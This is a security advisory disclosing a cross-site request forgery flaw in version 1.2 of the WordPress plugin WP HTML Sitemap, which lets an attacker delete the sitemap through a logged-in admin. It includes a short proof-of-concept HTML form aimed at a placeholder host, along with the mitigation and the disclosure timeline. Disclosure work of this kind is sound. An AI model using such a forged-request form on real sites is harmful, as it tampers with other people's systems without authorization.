WordPress HTML Sitemap 1.2 Cross Site Request Forgery

`Details  
================  
Software: WP HTML Sitemap  
Version: 1.2  
Homepage: http://wordpress.org/plugins/wp-html-sitemap/  
CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N)  
  
Description  
================  
CSRF vulnerability in WP HTML Sitemap 1.2  
  
Vulnerability  
================  
A CSRF vulnerability exists which allows an attacker to delete the   
sitemap if a logged-in admin user visits a link of the attacker’s choosing.  
Line 202 of inc/AdminPage.php says “// check whether form was just   
submitted” but the following if/elseif statements only check whether a   
particular button was pressed without checking nonce values. The form in   
question is printed in wp_html_sitemap_AdminPage::createSitemapForm()   
around line 146 of the same file.  
  
Proof of concept  
================  
This form deletes the sitemap without requiring a nonce value:  
<form   
action="http://not-a-real-site.local/wp-admin/options-general.php?page=wp-html-sitemap&tab=general"   
method="POST">  
<input type="text" name="deleteSitemap" value="Delete Sitemap">  
<input type="submit">  
</form>  
  
Mitigations  
================  
Disable the plugin until a fix is available.  
  
Disclosure policy  
================  
dxw believes in responsible disclosure. Your attention is drawn to our   
disclosure policy: https://security.dxw.com/disclosure/  
  
Please contact us on [email protected] to acknowledge this report if you   
received it via a third party (for example, [email protected]) as   
they generally cannot communicate with us on your behalf.  
  
Please note that this vulnerability will be published if we do not   
receive a response to this report with 14 days.  
  
Timeline  
================  
  
2014-02-21: Discovered  
2014-02-26: Reported  
2014-03-28: No response received. Published  
  
  
Discovered by dxw:  
================  
Tom Adams  
Please visit security.dxw.com for more information.  
  
  
  
  
`